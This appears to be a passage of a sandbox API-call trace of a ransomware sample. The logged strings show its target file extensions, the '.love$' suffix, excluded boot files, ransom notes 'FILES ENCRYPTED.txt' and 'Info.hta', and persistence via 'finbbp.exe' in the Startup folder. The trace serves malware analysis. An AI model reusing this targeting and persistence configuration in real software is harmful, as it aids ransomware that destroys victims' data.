x;.vrp;.vsd;.vss;.vst;.vsw;.vsx;.vtm;.vtml;.vtx;.wb2;.wav;.wbm;.wbmp;.wim;.wmf;.wml;.wmv;.wpd;.wps;.x3f;.xl;.xla;.xlam;.xlk;.xlm;.xls;.xlsb;.xlsm;.xlsx;.xlt;.xltm;.xltx;.xlw;.xml;.xps;.xsd;.xsf;.xsl;.xslt;.xsn;.xtp;.xtp2;.xyze;.xz;.zip;") returned 1776 [0217.034] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6f5ff0 | out: hHeap=0x670000) returned 1 [0217.034] lstrlenW (lpString="") returned 0 [0217.034] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6f9c70 | out: hHeap=0x670000) returned 1 [0217.034] lstrlenW (lpString=".love$") returned 6 [0217.034] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x6adec0, Size=0x8) returned 0x6adc50 [0217.034] lstrlenW (lpString=".love$") returned 6 [0217.034] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6f9ce8 | out: hHeap=0x670000) returned 1 [0217.035] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x6f9b68, Size=0x20) returned 0x6ad9a8 [0217.035] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x6ad9a8, Size=0x40) returned 0x6875e0 [0217.035] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x6875e0, Size=0x80) returned 0x6f5a28 [0217.035] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x6adec0, Size=0x8) returned 0x6addf0 [0217.035] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x6addf0, Size=0x10) returned 0x6f9d18 [0217.035] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x6f9d18, Size=0x20) returned 0x6adb60 [0217.035] lstrlenW (lpString="boot.ini;bootfont.bin;ntldr;ntdetect.com;io.sys;") returned 48 [0217.035] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6f5a28 | out: hHeap=0x670000) returned 1 [0217.035] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x6f9d60, Size=0x20) returned 0x6ad9d0 [0217.035] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x6ad9d0, Size=0x40) returned 0x687550 [0217.035] lstrlenW (lpString="FILES ENCRYPTED.txt") returned 19 [0217.035] lstrlenW (lpString="FILES ENCRYPTED.txt") returned 19 [0217.035] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x687550 | out: hHeap=0x670000) returned 1 [0217.035] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x6f9c40, Size=0x20) returned 0x6adb88 [0217.035] lstrlenW (lpString="Info.hta") returned 8 [0217.035] lstrlenW (lpString="Info.hta") returned 8 [0217.035] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6adb88 | out: hHeap=0x670000) returned 1 [0217.035] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x6d4ff0, nSize=0x7fff | out: lpFilename="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\finbbp.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\finbbp.exe")) returned 0x47 [0217.035] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6d4ff0 | out: hHeap=0x670000) returned 1 [0217.036] lstrlenW (lpString="finbbp.exe") returned 10 [0217.036] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x6adb60, Size=0x40) returned 0x687550 [0217.036] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x6f9b80, Size=0x20) returned 0x6ad9d0 [0217.038] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x6f9d00, Size=0x20) returned 0x6ad9f8 [0217.038] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x6ad9f8, Size=0x40) returned 0x687598 [0217.038] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x687598, Size=0x80) returned 0x6f5120 [0217.038] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x6f5120, Size=0x100) returned 0x6b3898 [0217.038] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0217.038] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6b3898 | out: hHeap=0x670000) returned 1 [0217.038] ExpandEnvironmentStringsW (in: lpSrc="%windir%;", lpDst=0x6d4ff0, nSize=0x8000 | out: lpDst="C:\\WINDOWS;") returned 0xc [0217.038] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6fa028 | out: hHeap=0x670000) returned 1 [0217.039] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6d4ff0 | out: hHeap=0x670000) returned 1 [0217.039] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x6adde0, Size=0x8) returned 0x6addb0 [0217.039] lstrlenW (lpString="%windir%;") returned 9 [0217.039] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6ad9d0 | out: hHeap=0x670000) returned 1 [0217.040] lstrlenW (lpString="C:\\WINDOWS;") returned 11 [0217.040] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6c4fe8 | out: hHeap=0x670000) returned 1 [0217.041] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x6f9d60, Size=0x20) returned 0x6ad908 [0217.041] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x6ad908, Size=0x40) returned 0x687598 [0217.041] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x687598, Size=0x80) returned 0x6f5de0 [0217.041] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x6f5de0, Size=0x100) returned 0x6b3898 [0217.041] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x6adde0, Size=0x8) returned 0x6add60 [0217.041] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x6add60, Size=0x10) returned 0x6f9c88 [0217.041] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x6f9c88, Size=0x20) returned 0x6ad9f8 [0217.041] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x6adc60, Size=0x8) returned 0x6adcf0 [0217.041] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x6adcc0, Size=0x8) returned 0x6addc0 [0217.041] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x6add80, Size=0x8) returned 0x6add00 [0217.041] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x6add00, Size=0x10) returned 0x6f9d00 [0217.041] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x6f9d00, Size=0x20) returned 0x6adb38 [0217.041] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x6adcf0, Size=0x10) returned 0x6f9c40 [0217.041] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x6addc0, Size=0x10) returned 0x6f9c70 [0217.041] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x6adc20, Size=0x8) returned 0x6addd0 [0217.041] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x6adcf0, Size=0x8) returned 0x6add90 [0217.041] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x6f9c40, Size=0x20) returned 0x6ada48 [0217.041] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x6f9c70, Size=0x20) returned 0x6ad908 [0217.042] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x6add00, Size=0x8) returned 0x6adc90 [0217.042] lstrlenW (lpString="doc(.doc;.docx;.pdf;.xls;.xlsx;.ppt;)arc(.zip;.rar;.bz2;.7z;)dbf(.dbf;)1c8(.1cd;)jpg(.jpg;)") returned 91 [0217.042] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6b3898 | out: hHeap=0x670000) returned 1 [0217.042] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x6f9c70, Size=0x20) returned 0x6adb60 [0217.042] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%", lpDst=0x6fa028, nSize=0x7fff | out: lpDst="C:") returned 0x3 [0217.042] lstrlenW (lpString="C:\\") returned 3 [0217.042] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x19fca4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x19fca4*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0217.043] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6fa028 | out: hHeap=0x670000) returned 1 [0217.043] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x6adc10, Size=0x82) returned 0x6b3928 [0217.044] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x6add00, Size=0x100) returned 0x6b39b8 [0217.044] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x6b3928, Size=0x104) returned 0x6f8498 [0217.044] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x6b39b8, Size=0x200) returned 0x6f85a8 [0217.045] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6addc0 | out: hHeap=0x670000) returned 1 [0217.045] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6f85a8 | out: hHeap=0x670000) returned 1 [0217.045] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6f9ef8 | out: hHeap=0x670000) returned 1 [0217.045] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6f5450 | out: hHeap=0x670000) returned 1 [0217.045] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6f9eb0 | out: hHeap=0x670000) returned 1 [0217.045] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6f5c48 | out: hHeap=0x670000) returned 1 [0217.045] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6f9f58 | out: hHeap=0x670000) returned 1 [0217.045] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6f8498 | out: hHeap=0x670000) returned 1 [0217.045] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6f9ee0 | out: hHeap=0x670000) returned 1 [0217.045] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6b3ac0 | out: hHeap=0x670000) returned 1 [0217.045] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6f9fe8 | out: hHeap=0x670000) returned 1 [0217.045] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6f8408 | out: hHeap=0x670000) returned 1 [0217.045] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6f9fd0 | out: hHeap=0x670000) returned 1 [0217.045] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x6f9f88, Size=0x20) returned 0x6adb88 [0217.045] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x6adb88, Size=0x40) returned 0x6877d8 [0217.046] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6adca0 | out: hHeap=0x670000) returned 1 [0217.046] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6f9c70 | out: hHeap=0x670000) returned 1 [0217.046] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6b3898 | out: hHeap=0x670000) returned 1 [0217.046] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6f9fa0 | out: hHeap=0x670000) returned 1 [0217.046] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6f54d8 | out: hHeap=0x670000) returned 1 [0217.046] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6f9ec8 | out: hHeap=0x670000) returned 1 [0217.046] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6adcb0 | out: hHeap=0x670000) returned 1 [0217.046] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6f9e68 | out: hHeap=0x670000) returned 1 [0217.046] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x685568 | out: hHeap=0x670000) returned 1 [0217.046] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x686108 | out: hHeap=0x670000) returned 1 [0217.046] lstrlenW (lpString="%systemdrive%") returned 13 [0217.046] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6adb60 | out: hHeap=0x670000) returned 1 [0217.046] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6f51a8 | out: hHeap=0x670000) returned 1 [0217.046] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6adcf0 | out: hHeap=0x670000) returned 1 [0217.046] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091f0, lpParameter=0x6b4fc8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x260 [0217.047] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x6f9f40, Size=0x20) returned 0x6ada98 [0217.047] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x6ada98, Size=0x40) returned 0x687868 [0217.047] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x687868, Size=0x80) returned 0x6f5918 [0217.047] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x6f5918, Size=0x100) returned 0x6b3898 [0217.047] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x6b3898, Size=0x200) returned 0x6b3898 [0217.047] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x6b3898, Size=0x400) returned 0x6f8408 [0217.047] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x6f8408, Size=0x800) returned 0x70c050 [0217.047] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x70c050, Size=0x1000) returned 0x6f5ff0 [0217.048] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x6adc10, Size=0x8) returned 0x6adc60 [0217.048] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x6adc60, Size=0x10) returned 0x6f9fa0 [0217.048] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x6f9fa0, Size=0x20) returned 0x6ad9d0 [0217.048] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x6ad9d0, Size=0x40) returned 0x6878b0 [0217.048] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x6878b0, Size=0x80) returned 0x6f5bc0 [0217.048] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x6f5bc0, Size=0x100) returned 0x6b3898 [0217.048] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x6b3898, Size=0x200) returned 0x6b3898 [0217.049] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x6b3898, Size=0x400) returned 0x6f8408 [0217.049] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x6f8408, Size=0x800) returned 0x70c458 [0217.049] lstrlenW (lpString=".1cd;.3ds;.3fr;.3g2;.3gp;.7z;.accda;.accdb;.accdc;.accde;.accdt;.accdw;.adb;.adp;.ai;.ai3;.ai4;.ai5;.ai6;.ai7;.ai8;.anim;.arw;.as;.asa;.asc;.ascx;.asm;.asmx;.asp;.aspx;.asr;.asx;.avi;.avs;.backup;.bak;.bay;.bd;.bin;.bmp;.bz2;.c;.cdr;.cer;.cf;.cfc;.cfm;.cfml;.cfu;.chm;.cin;.class;.clx;.config;.cpp;.cr2;.crt;.crw;.cs;.css;.csv;.cub;.dae;.dat;.db;.dbf;.dbx;.dc3;.dcm;.dcr;.der;.dib;.dic;.dif;.divx;.djvu;.dng;.doc;.docm;.docx;.dot;.dotm;.dotx;.dpx;.dqy;.dsn;.dt;.dtd;.dwg;.dwt;.dx;.dxf;.edml;.efd;.elf;.emf;.emz;.epf;.eps;.epsf;.epsp;.erf;.exr;.f4v;.fido;.flm;.flv;.frm;.fxg;.geo;.gif;.grs;.gz;.h;.hdr;.hpp;.hta;.htc;.htm;.html;.icb;.ics;.iff;.inc;.indd;.ini;.iqy;.j2c;.j2k;.java;.jp2;.jpc;.jpe;.jpeg;.jpf;.jpg;.jpx;.js;.jsf;.json;.jsp;.kdc;.kmz;.kwm;.lasso;.lbi;.lgf;.lgp;.log;.m1v;.m4a;.m4v;.max;.md;.mda;.mdb;.mde;.mdf;.mdw;.mef;.mft;.mfw;.mht;.mhtml;.mka;.mkidx;.mkv;.mos;.mov;.mp3;.mp4;.mpeg;.mpg;.mpv;.mrw;.msg;.mxl;.myd;.myi;.nef;.nrw;.obj;.odb;.odc;.odm;.odp;.ods;.oft;.one;.onepkg;.onetoc2;.opt;.oqy;.orf;.p12;.p7b;.p7c;.pam;.pbm;.pct;.pcx;.pdd;.pdf;.pdp;.pef;.pem;.pff;.pfm;.pfx;.pgm;.php;.php3;.php4;.php5;.phtml;.pict;.pl;.pls;.pm;.png;.pnm;.pot;.potm;.potx;.ppa;.ppam;.ppm;.pps;.ppsm;.ppt;.pptm;.pptx;.prn;.ps;.psb;.psd;.pst;.ptx;.pub;.pwm;.pxr;.py;.qt;.r3d;.raf;.rar;.raw;.rdf;.rgbe;.rle;.rqy;.rss;.rtf;.rw2;.rwl;.safe;.sct;.sdpx;.shtm;.shtml;.slk;.sln;.sql;.sr2;.srf;.srw;.ssi;.st;.stm;.svg;.svgz;.swf;.tab;.tar;.tbb;.tbi;.tbk;.tdi;.tga;.thmx;.tif;.tiff;.tld;.torrent;.tpl;.txt;.u3d;.udl;.uxdc;.vb;.vbs;.vcs;.vda;.vdr;.vdw;.vdx;.vrp;.vsd;.vss;.vst;.vsw;.vsx;.vtm;.vtml;.vtx;.wb2;.wav;.wbm;.wbmp;.wim;.wmf;.wml;.wmv;.wpd;.wps;.x3f;.xl;.xla;.xlam;.xlk;.xlm;.xls;.xlsb;.xlsm;.xlsx;.xlt;.xltm;.xltx;.xlw;.xml;.xps;.xsd;.xsf;.xsl;.xslt;.xsn;.xtp;.xtp2;.xyze;.xz;.zip;") returned 1776 [0217.049] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6f5ff0 | out: hHeap=0x670000) returned 1 [0217.049] lstrlenW (lpString="") returned 0 [0217.049] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6d6410 | out: hHeap=0x670000) returned 1 [0217.049] lstrlenW (lpString=".love$") returned 6 [0217.049] lstrlenW (lpString=".love$") returned 6 [0217.049] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6d6620 | out: hHeap=0x670000) returned 1 [0217.049] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x6d6410, Size=0x20) returned 0x6adb88 [0217.049] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x6adb88, Size=0x40) returned 0x687598 [0217.049] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x687598, Size=0x80) returned 0x6f5ab0 [0217.049] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x70c1c0, Size=0x8) returned 0x70c110 [0217.049] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x70c110, Size=0x10) returned 0x6d6410 [0217.049] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x6d6410, Size=0x20) returned 0x6adb88 [0217.049] lstrlenW (lpString="boot.ini;bootfont.bin;ntldr;ntdetect.com;io.sys;") returned 48 [0217.050] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6f5ab0 | out: hHeap=0x670000) returned 1 [0217.050] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x6d66e0, Size=0x20) returned 0x6adbb0 [0217.050] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x6adbb0, Size=0x40) returned 0x687598 [0217.050] lstrlenW (lpString="FILES ENCRYPTED.txt") returned 19 [0217.050] lstrlenW (lpString="FILES ENCRYPTED.txt") returned 19 [0217.050] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x687598 | out: hHeap=0x670000) returned 1 [0217.050] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x6d6638, Size=0x20) returned 0x6ada98 [0217.050] lstrlenW (lpString="Info.hta") returned 8 [0217.050] lstrlenW (lpString="Info.hta") returned 8 [0217.050] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6ada98 | out: hHeap=0x670000) returned 1 [0217.050] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x6d7000, nSize=0x7fff | out: lpFilename="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\finbbp.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\finbbp.exe")) returned 0x47 [0217.050] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6d7000 | out: hHeap=0x670000) returned 1 [0217.051] lstrlenW (lpString="finbbp.exe") returned 10 [0217.051] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x6adb88, Size=0x40) returned 0x687598 [0217.051] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x6d67a0, Size=0x20) returned 0x6ada98 [0217.052] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x6d6890, Size=0x20) returned 0x6adb88 [0217.052] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x6adb88, Size=0x40) returned 0x6875e0 [0217.052] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x6875e0, Size=0x80) returned 0x6f5e68 [0217.052] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x6f5e68, Size=0x100) returned 0x6b3898 [0217.052] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0217.052] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6b3898 | out: hHeap=0x670000) returned 1 [0217.052] ExpandEnvironmentStringsW (in: lpSrc="%windir%;", lpDst=0x6d7000, nSize=0x8000 | out: lpDst="C:\\WINDOWS;") returned 0xc [0217.052] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x70cc60 | out: hHeap=0x670000) returned 1 [0217.053] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6d7000 | out: hHeap=0x670000) returned 1 [0217.053] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x70c180, Size=0x8) returned 0x70c260 [0217.053] lstrlenW (lpString="%windir%;") returned 9 [0217.053] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6ada98 | out: hHeap=0x670000) returned 1 [0217.053] lstrlenW (lpString="C:\\WINDOWS;") returned 11 [0217.053] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6c4fe8 | out: hHeap=0x670000) returned 1 [0217.054] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x6d6680, Size=0x20) returned 0x6adb88 [0217.054] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x6adb88, Size=0x40) returned 0x6875e0 [0217.054] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x6875e0, Size=0x80) returned 0x6f59a0 [0217.054] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x6f59a0, Size=0x100) returned 0x6b3898 [0217.054] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x70c240, Size=0x8) returned 0x70c1e0 [0217.054] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x70c1e0, Size=0x10) returned 0x6d67d0 [0217.054] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x6d67d0, Size=0x20) returned 0x6ada98 [0217.054] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x70c110, Size=0x8) returned 0x70c0c0 [0217.054] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x70c1c0, Size=0x8) returned 0x70c0d0 [0217.054] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x70c110, Size=0x8) returned 0x70c1c0 [0217.054] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x70c1c0, Size=0x10) returned 0x6d6848 [0217.054] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x6d6848, Size=0x20) returned 0x6adbb0 [0217.054] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x70c0c0, Size=0x10) returned 0x6d6758 [0217.054] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x70c0d0, Size=0x10) returned 0x6d6638 [0217.054] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x70c0c0, Size=0x8) returned 0x70c190 [0217.054] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x70c0c0, Size=0x8) returned 0x70c230 [0217.055] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x6d6758, Size=0x20) returned 0x6adb88 [0217.055] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x6d6638, Size=0x20) returned 0x6ad4d0 [0217.055] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x70c0d0, Size=0x8) returned 0x70c160 [0217.055] lstrlenW (lpString="doc(.doc;.docx;.pdf;.xls;.xlsx;.ppt;)arc(.zip;.rar;.bz2;.7z;)dbf(.dbf;)1c8(.1cd;)jpg(.jpg;)") returned 91 [0217.055] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6b3898 | out: hHeap=0x670000) returned 1 [0217.055] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x6d67b8, Size=0x20) returned 0x6ad638 [0217.055] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%", lpDst=0x6c4fe8, nSize=0x7fff | out: lpDst="C:") returned 0x3 [0217.055] lstrlenW (lpString="C:\\") returned 3 [0217.055] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x19fca4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x19fca4*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0217.056] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6c4fe8 | out: hHeap=0x670000) returned 1 [0217.056] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x70c1c0, Size=0x82) returned 0x6b3928 [0217.056] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x70c200, Size=0x100) returned 0x6b39b8 [0217.056] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x6b3928, Size=0x104) returned 0x6f8498 [0217.057] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x6b39b8, Size=0x200) returned 0x6f85a8 [0217.058] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x70c1f0 | out: hHeap=0x670000) returned 1 [0217.058] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6f85a8 | out: hHeap=0x670000) returned 1 [0217.058] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6d68c0 | out: hHeap=0x670000) returned 1 [0217.058] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6f5918 | out: hHeap=0x670000) returned 1 [0217.058] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6d68d8 | out: hHeap=0x670000) returned 1 [0217.058] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6f52b8 | out: hHeap=0x670000) returned 1 [0217.058] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6d68a8 | out: hHeap=0x670000) returned 1 [0217.058] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6f8498 | out: hHeap=0x670000) returned 1 [0217.058] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6d6860 | out: hHeap=0x670000) returned 1 [0217.134] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6b3ac0 | out: hHeap=0x670000) returned 1 [0217.134] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6d6908 | out: hHeap=0x670000) returned 1 [0217.134] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6f8408 | out: hHeap=0x670000) returned 1 [0217.134] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6d6638 | out: hHeap=0x670000) returned 1 [0217.134] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x6c5af0, Size=0x20) returned 